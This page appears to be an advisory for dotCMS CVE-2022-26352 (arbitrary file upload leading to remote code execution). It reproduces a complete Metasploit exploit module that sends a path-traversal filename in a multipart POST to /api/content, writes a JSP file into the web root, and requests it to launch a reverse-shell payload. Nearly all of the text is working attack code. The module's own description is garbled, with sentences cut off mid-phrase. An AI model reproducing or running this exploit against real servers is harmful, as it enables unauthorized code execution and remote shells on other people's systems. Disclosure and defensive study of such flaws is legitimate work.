

dotCMS Shell Upload

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When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the file down in a temporary directory. In the case of this vulnerability, dotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temporary file's name. This allows an attacker to use a specially crafted request to POST files to dotCMS via the ContentResource API that gets written outside of the dotCMS temporary directory. In the case of this exploit, an attacker can upload a specially crafted .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DotCMS RCE via Arbitrary File Upload.',
        'Description' => %q{
          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS
          writes the
          filename
          passed in via the multipart request header and thus does not sanitize the temp file's name. This
          allows a
          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that
          get
          written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a
          special
          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
        },
        'Author' => [
          'Shubham Shah', # Discovery and analysis
          'Hussein Daher', # Discovery and analysis
          'jheysel-r7' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-26352'],
          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
        ],
        'Privileged' => false,
        'Platform' => %w[linux win],
        'Targets' => [
          [
            'Java Linux',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Windows',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-05-03',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
        'Notes' => {

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        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
    }
  )
end

register_options([
  Opt::RPORT(8443),
  OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
  test_content = Rex::Text.rand_text_alpha(10)
  test_file = "#{test_content}.jsp"
  test_path = "../../#{test_file}"
  uuid = Faker::Internet.uuid

  jsp = <<~EOS
  <%@ page import="java.io.File" %>
  <%
    File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
    jsp.delete();
  %>
  #{uuid}
EOS

  vars_form_data = [
    {
      'name' => 'name',
      'data' => jsp,
      'encoding' => nil,
      'filename' => test_path,
      'mime_type' => 'text/plain'
    }
  ]

  send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/api/content/'),
    'vars_form_data' => vars_form_data
  )

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, test_file.to_s)
  )

  if res && res.body.include?(uuid)
    return Exploit::CheckCode::Vulnerable
  end

  Exploit::CheckCode::Safe
end

def write_jsp_payload
  jsp_path = "../../#{jsp_filename}"
  print_status('Writing JSP payload')
  vars_form_data = [
    {
      'name' => 'name',
      'data' => payload.encoded,
      'encoding' => nil,
      'filename' => jsp_path,
      'mime_type' => 'text/plain'
    }
  ]

  res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/api/content/'),
    'vars_form_data' => vars_form_data
  )

  unless res.code == 500
    fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
  end

  register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
  print_good('Successfully wrote JSP payload')
end

def execute_jsp_payload
  jsp_uri = normalize_uri(target_uri.path, jsp_filename)
  print_status('Executing JSP payload')
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => jsp_uri
  )

  unless res.code == 200
    fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
  end
  print_good('Successfully executed JSP payload')
end

def exploit
  write_jsp_payload
  execute_jsp_payload
end

def jsp_filename
  @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end
end

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